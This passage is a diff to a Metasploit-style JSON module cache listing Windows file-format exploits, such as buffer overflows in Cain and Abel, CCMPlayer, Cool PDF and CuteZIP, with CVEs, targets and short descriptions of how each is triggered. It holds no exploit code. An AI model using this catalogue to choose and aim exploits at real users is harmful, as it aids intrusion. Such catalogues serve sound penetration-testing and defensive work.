"unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": false, "needs_cleanup": null @@ -154150,16 +157539,14 @@ "exploit_windows/fileformat/cain_abel_4918_rdp": { "name": "Cain and Abel RDP Buffer Overflow", "fullname": "exploit/windows/fileformat/cain_abel_4918_rdp", - "aliases": [ - - ], + "aliases": [], "rank": 400, "disclosure_date": "2008-11-30", "type": "exploit", "author": [ "Trancek " ], - "description": "This module exploits a stack-based buffer overflow in the Cain & Abel v4.9.24\n and below. An attacker must send the file to victim, and the victim must open\n the specially crafted RDP file under Tools -> Remote Desktop Password Decoder.", + "description": "This module exploits a stack-based buffer overflow in the Cain & Abel v4.9.24\n and below. An attacker must send the file to victim, and the victim must open\n the specially crafted RDP file under Tools -> Remote Desktop Password Decoder.", "references": [ "CVE-2008-5405", "OSVDB-50342", @@ -154169,18 +157556,14 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Windows XP SP2 English", "Windows XP SP0/1 English", "Windows XP SP2 Spanish" ], - "mod_time": "2020-10-02 17:38:06 +0000", + "mod_time": "2025-06-23 12:43:46 +0000", "path": "/modules/exploits/windows/fileformat/cain_abel_4918_rdp.rb", "is_install_path": true, "ref_name": "windows/fileformat/cain_abel_4918_rdp", @@ -154188,6 +157571,15 @@ "post_auth": false, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": false, "needs_cleanup": null @@ -154195,16 +157587,14 @@ "exploit_windows/fileformat/ccmplayer_m3u_bof": { "name": "CCMPlayer 1.5 m3u Playlist Stack Based Buffer Overflow", "fullname": "exploit/windows/fileformat/ccmplayer_m3u_bof", - "aliases": [ - - ], + "aliases": [], "rank": 400, "disclosure_date": "2011-11-30", "type": "exploit", "author": [ "Rh0" ], - "description": "This module exploits a stack based buffer overflow in CCMPlayer 1.5. Opening\n a m3u playlist with a long track name, a SEH exception record can be overwritten\n with parts of the controllable buffer. SEH execution is triggered after an\n invalid read of an injectable address, thus allowing arbitrary code execution.\n This module works on multiple Windows platforms including: Windows XP SP3,\n Windows Vista, and Windows 7.", + "description": "This module exploits a stack based buffer overflow in CCMPlayer 1.5. Opening\n a m3u playlist with a long track name, a SEH exception record can be overwritten\n with parts of the controllable buffer. SEH execution is triggered after an\n invalid read of an injectable address, thus allowing arbitrary code execution.\n This module works on multiple Windows platforms including: Windows XP SP3,\n Windows Vista, and Windows 7.", "references": [ "CVE-2011-5170", "OSVDB-77453", @@ -154213,16 +157603,12 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "CCMPlayer 1.5" ], - "mod_time": "2020-10-02 17:38:06 +0000", + "mod_time": "2025-06-23 12:43:46 +0000", "path": "/modules/exploits/windows/fileformat/ccmplayer_m3u_bof.rb", "is_install_path": true, "ref_name": "windows/fileformat/ccmplayer_m3u_bof", @@ -154230,6 +157616,15 @@ "post_auth": false, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": false, "needs_cleanup": null @@ -154237,9 +157632,7 @@ "exploit_windows/fileformat/chasys_draw_ies_bmp_bof": { "name": "Chasys Draw IES Buffer Overflow", "fullname": "exploit/windows/fileformat/chasys_draw_ies_bmp_bof", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2013-07-26", "type": "exploit", @@ -154249,7 +157642,7 @@ "Javier 'soez'", "juan vazquez " ], - "description": "This module exploits a buffer overflow vulnerability found in Chasys Draw IES\n (version 4.10.01). The vulnerability exists in the module flt_BMP.dll, while\n parsing BMP files, where the ReadFile function is used to store user provided data\n on the stack in an insecure way. It results in arbitrary code execution under the\n context of the user viewing a specially crafted BMP file. This module has been\n tested successfully with Chasys Draw IES 4.10.01 on Windows XP SP3 and Windows 7\n SP1.", + "description": "This module exploits a buffer overflow vulnerability found in Chasys Draw IES\n (version 4.10.01). The vulnerability exists in the module flt_BMP.dll, while\n parsing BMP files, where the ReadFile function is used to store user provided data\n on the stack in an insecure way. It results in arbitrary code execution under the\n context of the user viewing a specially crafted BMP file. This module has been\n tested successfully with Chasys Draw IES 4.10.01 on Windows XP SP3 and Windows 7\n SP1.", "references": [ "CVE-2013-3928", "OSVDB-95689", @@ -154260,16 +157653,12 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Chasys Draw IES 4.10.01 / Windows XP SP3 / Windows 7 SP1" ], - "mod_time": "2023-03-23 10:19:30 +0000", + "mod_time": "2025-06-23 12:43:46 +0000", "path": "/modules/exploits/windows/fileformat/chasys_draw_ies_bmp_bof.rb", "is_install_path": true, "ref_name": "windows/fileformat/chasys_draw_ies_bmp_bof", @@ -154277,6 +157666,15 @@ "post_auth": false, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": false, "needs_cleanup": null @@ -154284,9 +157682,7 @@ "exploit_windows/fileformat/coolpdf_image_stream_bof": { "name": "Cool PDF Image Stream Buffer Overflow", "fullname": "exploit/windows/fileformat/coolpdf_image_stream_bof", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2013-01-18", "type": "exploit", @@ -154295,7 +157691,7 @@ "Chris Gabriel", "juan vazquez " ], - "description": "This module exploits a stack buffer overflow in Cool PDF Reader prior to version\n 3.0.2.256. The vulnerability is triggered when opening a malformed PDF file that\n contains a specially crafted image stream. This module has been tested successfully\n on Cool PDF 3.0.2.256 over Windows XP SP3 and Windows 7 SP1.", + "description": "This module exploits a stack buffer overflow in Cool PDF Reader prior to version\n 3.0.2.256. The vulnerability is triggered when opening a malformed PDF file that\n contains a specially crafted image stream. This module has been tested successfully\n on Cool PDF 3.0.2.256 over Windows XP SP3 and Windows 7 SP1.", "references": [ "CVE-2012-4914", "OSVDB-89349", @@ -154305,16 +157701,12 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Cool PDF 3.0.2.256 / Windows 7 SP1 / Windows XP SP3" ], - "mod_time": "2020-10-02 17:38:06 +0000", + "mod_time": "2025-06-23 12:43:46 +0000", "path": "/modules/exploits/windows/fileformat/coolpdf_image_stream_bof.rb", "is_install_path": true, "ref_name": "windows/fileformat/coolpdf_image_stream_bof", @@ -154322,6 +157714,15 @@ "post_auth": false, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": false, "needs_cleanup": null @@ -154329,9 +157730,7 @@ "exploit_windows/fileformat/corelpdf_fusion_bof": { "name": "Corel PDF Fusion Stack Buffer Overflow", "fullname": "exploit/windows/fileformat/corelpdf_fusion_bof", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2013-07-08", "type": "exploit", @@ -154339,7 +157738,7 @@ "Kaveh Ghaemmaghami", "juan vazquez " ], - "description": "This module exploits a stack-based buffer overflow vulnerability in version 1.11 of\n Corel PDF Fusion. The vulnerability exists while handling a XPS file with long entry\n names. In order for the payload to be executed, an attacker must convince the target\n user to open a specially crafted XPS file with Corel PDF Fusion. By doing so, the\n attacker can execute arbitrary code as the target user.", + "description": "This module exploits a stack-based buffer overflow vulnerability in version 1.11 of\n Corel PDF Fusion. The vulnerability exists while handling a XPS file with long entry\n names. In order for the payload to be executed, an attacker must convince the target\n user to open a specially crafted XPS file with Corel PDF Fusion. By doing so, the\n attacker can execute arbitrary code as the target user.", "references": [ "CVE-2013-3248", "OSVDB-94933", @@ -154349,16 +157748,12 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Corel PDF Fusion 1.11 / Windows XP SP3" ], - "mod_time": "2023-03-23 10:19:30 +0000", + "mod_time": "2025-06-23 12:43:46 +0000", "path": "/modules/exploits/windows/fileformat/corelpdf_fusion_bof.rb", "is_install_path": true, "ref_name": "windows/fileformat/corelpdf_fusion_bof", @@ -154366,6 +157761,15 @@ "post_auth": false, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": false, "needs_cleanup": null @@ -154373,9 +157777,7 @@ "exploit_windows/fileformat/csound_getnum_bof": { "name": "Csound hetro File Handling Stack Buffer Overflow", "fullname": "exploit/windows/fileformat/csound_getnum_bof", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2012-02-23", "type": "exploit", @@ -154383,7 +157785,7 @@ "Secunia", "juan vazquez " ], - "description": "This module exploits a buffer overflow in Csound before 5.16.6.\n The overflow occurs when trying to import a malicious hetro file\n from tabular format.\n In order to achieve exploitation the user should import the malicious\n file through csound with a command like \"csound -U het_import msf.csd file.het\".\n This exploit doesn't work if the \"het_import\" command is used directly\n to convert the file.", + "description": "This module exploits a buffer overflow in Csound before 5.16.6.\n The overflow occurs when trying to import a malicious hetro file\n from tabular format.\n In order to achieve exploitation the user should import the malicious\n file through csound with a command like \"csound -U het_import msf.csd file.het\".\n This exploit doesn't work if the \"het_import\" command is used directly\n to convert the file.", "references": [ "CVE-2012-0270", "OSVDB-79491", @@ -154394,16 +157796,12 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Csound 5.15 / Windows XP SP3 / Windows 7 SP1" ], - "mod_time": "2023-03-23 10:19:30 +0000", + "mod_time": "2025-06-23 12:43:46 +0000", "path": "/modules/exploits/windows/fileformat/csound_getnum_bof.rb", "is_install_path": true, "ref_name": "windows/fileformat/csound_getnum_bof", @@ -154411,6 +157809,15 @@ "post_auth": false, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": false, "needs_cleanup": null @@ -154418,9 +157825,7 @@ "exploit_windows/fileformat/cutezip_bof": { "name": "GlobalSCAPE CuteZIP Stack Buffer Overflow", "fullname": "exploit/windows/fileformat/cutezip_bof", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2011-02-12", "type": "exploit", @@ -154428,7 +157833,7 @@ "C4SS!0 G0M3S ", "juan vazquez " ], - "description": "This module exploits a stack-based buffer overflow vulnerability in version 2.1\n of CuteZIP.\n\n In order for the command to be executed, an attacker must convince the target user\n to open a specially crafted zip file with CuteZIP. By doing so, an attacker can\n execute arbitrary code as the target user.", + "description": "This module exploits a stack-based buffer overflow vulnerability in version 2.1\n of CuteZIP.\n\n In order for the command to be executed, an attacker must convince the target user\n to open a specially crafted zip file with CuteZIP. By doing so, an attacker can\n execute arbitrary code as the target user.", "references": [ "OSVDB-85709", "EDB-16162", @@ -154437,16 +157842,12 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "CuteZIP 2.1 / Windows Universal" ], - "mod_time": "2020-10-02 17:38:06 +0000", + "mod_time": "2025-06-23 12:43:46 +0000", "path": "/modules/exploits/windows/fileformat/cutezip_bof.rb", "is_install_path": true, "ref_name": "windows/fileformat/cutezip_bof", @@ -154454,6 +157855,15 @@ "post_auth": false, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": false, "needs_cleanup": null @@ -154461,9 +157871,7 @@ "exploit_windows/fileformat/cve_2017_8464_lnk_rce": { "name": "LNK Code Execution Vulnerability", "fullname": "exploit/windows/fileformat/cve_2017_8464_lnk_rce", - "aliases": [ - - ], + "aliases": [], "rank": 500, "disclosure_date": "2017-06-13", "type": "exploit", @@ -154484,18 +157892,14 @@ "platform": "Windows", "arch": "x86, x64", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Automatic", "Windows x64", "Windows x86" ], - "mod_time": "2023-03-13 10:31:27 +0000", + "mod_time": "2025-06-25 09:25:53 +0000", "path": "/modules/exploits/windows/fileformat/cve_2017_8464_lnk_rce.rb", "is_install_path": true, "ref_name": "windows/fileformat/cve_2017_8464_lnk_rce", @@ -154505,6 +157909,12 @@ "notes": { "Stability": [ "crash-service-restarts" + ], + "Reliability": [ + "unknown-reliability" + ], + "SideEffects": [ + "unknown-side-effects" ] }, "session_types": false, @@ -154513,9 +157923,7 @@ "exploit_windows/fileformat/cyberlink_lpp_bof": { "name": "CyberLink LabelPrint 2.5 Stack Buffer Overflow", "fullname": "exploit/windows/fileformat/cyberlink_lpp_bof", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2017-09-23", "type": "exploit", @@ -154523,7 +157931,7 @@ "modpr0be ", "f3ci " ], - "description": "This module exploits a stack buffer overflow in CyberLink LabelPrint 2.5 and below.\n The vulnerability is triggered when opening a .lpp project file containing overly long string characters\n via open file menu. This results in overwriting a structured exception handler record and take over the\n application. This module has been tested on Windows 7 (64 bit), Windows 8.1 (64 bit), and Windows 10 (64 bit).", + "description": "This module exploits a stack buffer overflow in CyberLink LabelPrint 2.5 and below.\n The vulnerability is triggered when opening a .lpp project file containing overly long string characters\n via open file menu. This results in overwriting a structured exception handler record and take over the\n application. This module has been tested on Windows 7 (64 bit), Windows 8.1 (64 bit), and Windows 10 (64 bit).", "references": [ "CVE-2017-14627", "EDB-42777" @@ -154531,18 +157939,14 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "CyberLink LabelPrint <= 2.5 on Windows 7 (64 bit)", "CyberLink LabelPrint <= 2.5 on Windows 8.1 x64", "CyberLink LabelPrint <= 2.5 on Windows 10 x64 build 1803" ], - "mod_time": "2020-10-02 17:38:06 +0000", + "mod_time": "2025-06-23 12:43:46 +0000", "path": "/modules/exploits/windows/fileformat/cyberlink_lpp_bof.rb", "is_install_path": true, "ref_name": "windows/fileformat/cyberlink_lpp_bof", @@ -154550,6 +157954,15 @@ "post_auth": false, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": false, "needs_cleanup": null @@ -154557,9 +157970,7 @@ "exploit_windows/fileformat/cyberlink_p2g_bof": { "name": "CyberLink Power2Go name Attribute (p2g) Stack Buffer Overflow Exploit", "fullname": "exploit/windows/fileformat/cyberlink_p2g_bof", - "aliases": [ - - ], + "aliases": [], "rank": 500, "disclosure_date": "2011-09-12", "type": "exploit", @@ -154567,7 +157978,7 @@ "modpr0be ", "mr_me " ], - "description": "This module exploits a stack buffer overflow in CyberLink Power2Go version 8.x\n The vulnerability is triggered when opening a malformed p2g file containing an overly\n long string in the 'name' attribute of the file element. This results in overwriting a\n structured exception handler record.", + "description": "This module exploits a stack buffer overflow in CyberLink Power2Go version 8.x\n The vulnerability is triggered when opening a malformed p2g file containing an overly\n long string in the 'name' attribute of the file element. This results in overwriting a\n structured exception handler record.", "references": [ "CVE-2011-5171", "BID-50997", @@ -154578,16 +157989,12 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "CyberLink Power2Go 8 (XP/Vista/win7) Universal" ], - "mod_time": "2020-10-02 17:38:06 +0000", + "mod_time": "2025-06-23 12:43:46 +0000", "path": "/modules/exploits/windows/fileformat/cyberlink_p2g_bof.rb", "is_install_path": true, "ref_name": "windows/fileformat/cyberlink_p2g_bof", @@ -154595,6 +158002,15 @@ "post_auth": false, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": false, "needs_cleanup": null @@ -154602,9 +158018,7 @@ "exploit_windows/fileformat/cytel_studio_cy3": { "name": "Cytel Studio 9.0 (CY3 File) Stack Buffer Overflow", "fullname": "exploit/windows/fileformat/cytel_studio_cy3", - "aliases": [ - - ], + "aliases": [], "rank": 400, "disclosure_date": "2011-10-02", "type": "exploit", @@ -154612,7 +158026,7 @@ "Luigi Auriemma", "James Fitts " ], - "description": "This module exploits a stack based buffer overflow found\n in Cytel Studio <= 9.0. The overflow is triggered during the\n copying of strings to a stack buffer of 256 bytes.", + "description": "This module exploits a stack based buffer overflow found\n in Cytel Studio <= 9.0. The overflow is triggered during the\n copying of strings to a stack buffer of 256 bytes.", "references": [ "OSVDB-75991", "BID-49924", @@ -154621,16 +158035,12 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Cytel Studio 9.0" ], - "mod_time": "2020-10-02 17:38:06 +0000", + "mod_time": "2025-06-23 12:43:46 +0000", "path": "/modules/exploits/windows/fileformat/cytel_studio_cy3.rb", "is_install_path": true, "ref_name": "windows/fileformat/cytel_studio_cy3", @@ -154638,6 +158048,15 @@ "post_auth": false, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": false, "needs_cleanup": null @@ -154645,9 +158064,7 @@ "exploit_windows/fileformat/deepburner_path": { "name": "AstonSoft DeepBurner (DBR File) Path Buffer Overflow", "fullname": "exploit/windows/fileformat/deepburner_path", - "aliases": [ - - ], + "aliases": [], "rank": 500, "disclosure_date": "2006-12-19", "type": "exploit", @@ -154656,7 +158073,7 @@ "fl0 fl0w", "jduck " ], - "description": "This module exploits a stack-based buffer overflow in versions 1.9.0.228,\n 1.8.0, and possibly other versions of AstonSoft's DeepBurner (Pro, Lite, etc).\n An attacker must send the file to victim and the victim must open the file.\n Alternatively it may be possible to execute code remotely via an embedded\n DBR file within a browser, since the DBR extension is registered to DeepBurner.", + "description": "This module exploits a stack-based buffer overflow in versions 1.9.0.228,\n 1.8.0, and possibly other versions of AstonSoft's DeepBurner (Pro, Lite, etc).\n An attacker must send the file to victim and the victim must open the file.\n Alternatively it may be possible to execute code remotely via an embedded\n DBR file within a browser, since the DBR extension is registered to DeepBurner.", "references": [ "BID-21657", "OSVDB-32356", @@ -154668,16 +158085,12 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Windows Universal" ], - "mod_time": "2020-10-02 17:38:06 +0000", + "mod_time": "2025-06-23 12:43:46 +0000", "path": "/modules/exploits/windows/fileformat/deepburner_path.rb", "is_install_path": true, "ref_name": "windows/fileformat/deepburner_path", @@ -154685,6 +158098,15 @@ "post_auth": false, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": false, "needs_cleanup": null @@ -154692,9 +158114,7 @@ "exploit_windows/fileformat/destinymediaplayer16": { "name": "Destiny Media Player 1.61 PLS M3U Buffer Overflow", "fullname": "exploit/windows/fileformat/destinymediaplayer16", - "aliases": [ - - ], + "aliases": [], "rank": 400, "disclosure_date": "2009-01-03", "type": "exploit", @@ -154711,17 +158131,13 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Destiny Universal", "Windows XP SP2 Spanish" ], - "mod_time": "2020-10-02 17:38:06 +0000", + "mod_time": "2025-06-23 12:43:46 +0000", "path": "/modules/exploits/windows/fileformat/destinymediaplayer16.rb", "is_install_path": true, "ref_name": "windows/fileformat/destinymediaplayer16", @@ -154729,6 +158145,15 @@ "post_auth": false, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": false, "needs_cleanup": null @@ -154736,16 +158161,14 @@ "exploit_windows/fileformat/digital_music_pad_pls": { "name": "Digital Music Pad Version 8.2.3.3.4 Stack Buffer Overflow", "fullname": "exploit/windows/fileformat/digital_music_pad_pls", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2010-09-17", "type": "exploit", "author": [ "Abhishek Lyall " ], - "description": "This module exploits a buffer overflow in Digital Music Pad Version 8.2.3.3.4\n When opening a malicious pls file with the Digital Music Pad,\n a remote attacker could overflow a buffer and execute\n arbitrary code.", + "description": "This module exploits a buffer overflow in Digital Music Pad Version 8.2.3.3.4\n When opening a malicious pls file with the Digital Music Pad,\n a remote attacker could overflow a buffer and execute\n arbitrary code.", "references": [ "OSVDB-68178", "URL-http://web.archive.org/web/20100923154433/http://secunia.com:80/advisories/41519", @@ -154754,16 +158177,12 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Windows XP SP2" ], - "mod_time": "2023-03-23 10:19:30 +0000", + "mod_time": "2025-06-23 12:43:46 +0000", "path": "/modules/exploits/windows/fileformat/digital_music_pad_pls.rb", "is_install_path": true, "ref_name": "windows/fileformat/digital_music_pad_pls", @@ -154771,6 +158190,15 @@ "post_auth": false, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": false, "needs_cleanup": null @@ -154778,9 +158206,7 @@ "exploit_windows/fileformat/djstudio_pls_bof": { "name": "DJ Studio Pro 5.1 .pls Stack Buffer Overflow", "fullname": "exploit/windows/fileformat/djstudio_pls_bof", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2009-12-30", "type": "exploit", @@ -154788,7 +158214,7 @@ "Sebastien Duquette", "Death-Shadow-Dark " ], - "description": "This module exploits a stack-based buffer overflow in DJ Studio Pro 5.1.6.5.2.\n When handling a .pls file, DJ Studio will copy the user-supplied data on the stack\n without any proper bounds checking done beforehand, therefore allowing code\n execution under the context of the user.", + "description": "This module exploits a stack-based buffer overflow in DJ Studio Pro 5.1.6.5.2.\n When handling a .pls file, DJ Studio will copy the user-supplied data on the stack\n without any proper bounds checking done beforehand, therefore allowing code\n execution under the context of the user.", "references": [ "CVE-2009-4656", "OSVDB-58159", @@ -154797,16 +158223,12 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "DJ Studio Pro 5.1.6.5.2" ], - "mod_time": "2020-10-02 17:38:06 +0000", + "mod_time": "2025-06-23 12:43:46 +0000", "path": "/modules/exploits/windows/fileformat/djstudio_pls_bof.rb", "is_install_path": true, "ref_name": "windows/fileformat/djstudio_pls_bof", @@ -154814,6 +158236,15 @@ "post_auth": false, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": false, "needs_cleanup": null @@ -154821,16 +158252,14 @@ "exploit_windows/fileformat/djvu_imageurl": { "name": "DjVu DjVu_ActiveX_MSOffice.dll ActiveX ComponentBuffer Overflow", "fullname": "exploit/windows/fileformat/djvu_imageurl", - "aliases": [ - - ], + "aliases": [], "rank": 100, "disclosure_date": "2008-10-30", "type": "exploit", "author": [ "dean " ], - "description": "This module exploits a stack buffer overflow in DjVu ActiveX Component. When sending an\n overly long string to the ImageURL() property of DjVu_ActiveX_MSOffice.dll (3.0)\n an attacker may be able to execute arbitrary code. This control is not marked safe\n for scripting, so choose your attack vector accordingly.", + "description": "This module exploits a stack buffer overflow in DjVu ActiveX Component. When sending an\n overly long string to the ImageURL() property of DjVu_ActiveX_MSOffice.dll (3.0)\n an attacker may be able to execute arbitrary code. This control is not marked safe\n for scripting, so choose your attack vector accordingly.", "references": [ "CVE-2008-4922", "OSVDB-49592", @@ -154839,16 +158268,12 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Windows XP SP0-SP3 / Windows Vista / IE 6.0 SP0-SP2 / IE 7" ], - "mod_time": "2020-10-02 17:38:06 +0000", + "mod_time": "2025-06-23 12:43:46 +0000", "path": "/modules/exploits/windows/fileformat/djvu_imageurl.rb", "is_install_path": true, "ref_name": "windows/fileformat/djvu_imageurl", @@ -154856,6 +158281,15 @@ "post_auth": false, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": false, "needs_cleanup": null @@ -154863,9 +158297,7 @@ "exploit_windows/fileformat/documalis_pdf_editor_and_scanner": { "name": "Documalis Free PDF Editor and Scanner JPEG Stack Buffer Overflow", "fullname": "exploit/windows/fileformat/documalis_pdf_editor_and_scanner", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2020-05-22", "type": "exploit", @@ -154874,18 +158306,12 @@ "metacom27 " ], "description": "Documalis Free PDF Editor version 5.7.2.26 and Documalis Free PDF Scanner version 5.7.2.122 do not\n appropriately validate the contents of JPEG images contained within a PDF. Attackers can exploit\n this vulnerability to trigger a buffer overflow on the stack and gain remote code execution as the\n user running the Documalis Free PDF Editor or Documalis Free PDF Scanner software.", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Documalis Free PDF Editor v.5.7.2.26 / Win 7, Win 10", "Documalis Free PDF Scanner v.5.7.2.122 / Win 7, Win 10" @@ -154914,32 +158340,26 @@ "exploit_windows/fileformat/dupscout_xml": { "name": "Dup Scout Enterprise v10.4.16 - Import Command Buffer Overflow", "fullname": "exploit/windows/fileformat/dupscout_xml", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2017-03-29", "type": "exploit", "author": [ "Daniel Teixeira" ], - "description": "This module exploits a buffer overflow in Dup Scout Enterprise v10.4.16\n by using the import command option to import a specially crafted xml file.", + "description": "This module exploits a buffer overflow in Dup Scout Enterprise v10.4.16\n by using the import command option to import a specially crafted xml file.", "references": [ "CVE-2017-7310" ], "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Windows Universal" ], - "mod_time": "2020-10-02 17:38:06 +0000", + "mod_time": "2025-06-23 12:43:46 +0000", "path": "/modules/exploits/windows/fileformat/dupscout_xml.rb", "is_install_path": true, "ref_name": "windows/fileformat/dupscout_xml", @@ -154947,6 +158367,15 @@ "post_auth": false, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": false, "needs_cleanup": null @@ -154954,9 +158383,7 @@ "exploit_windows/fileformat/dvdx_plf_bof": { "name": "DVD X Player 5.5 .plf PlayList Buffer Overflow", "fullname": "exploit/windows/fileformat/dvdx_plf_bof", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2007-06-02", "type": "exploit", @@ -154966,7 +158393,7 @@ "sickness", "sinn3r " ], - "description": "This module exploits a stack-based buffer overflow on DVD X Player 5.5 Pro and\n Standard. By supplying a long string of data in a plf file (playlist), the\n MediaPlayerCtrl.dll component will attempt to extract a filename out of the string,\n and then copy it on the stack without any proper bounds checking, which causes a\n buffer overflow, and results in arbitrary code execution under the context of the user.\n\n This module has been designed to target common Windows systems such as:\n Windows XP SP2/SP3, Windows Vista, and Windows 7.", + "description": "This module exploits a stack-based buffer overflow on DVD X Player 5.5 Pro and\n Standard. By supplying a long string of data in a plf file (playlist), the\n MediaPlayerCtrl.dll component will attempt to extract a filename out of the string,\n and then copy it on the stack without any proper bounds checking, which causes a\n buffer overflow, and results in arbitrary code execution under the context of the user.\n\n This module has been designed to target common Windows systems such as:\n Windows XP SP2/SP3, Windows Vista, and Windows 7.", "references": [ "CVE-2007-3068", "OSVDB-36956", @@ -154976,16 +158403,12 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "DVD X Player 5.5 Standard / Pro" ], - "mod_time": "2020-10-02 17:38:06 +0000", + "mod_time": "2025-06-23 12:43:46 +0000", "path": "/modules/exploits/windows/fileformat/dvdx_plf_bof.rb", "is_install_path": true, "ref_name": "windows/fileformat/dvdx_plf_bof", @@ -154993,6 +158416,15 @@ "post_auth": false, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": false, "needs_cleanup": null @@ -155000,9 +158432,7 @@ 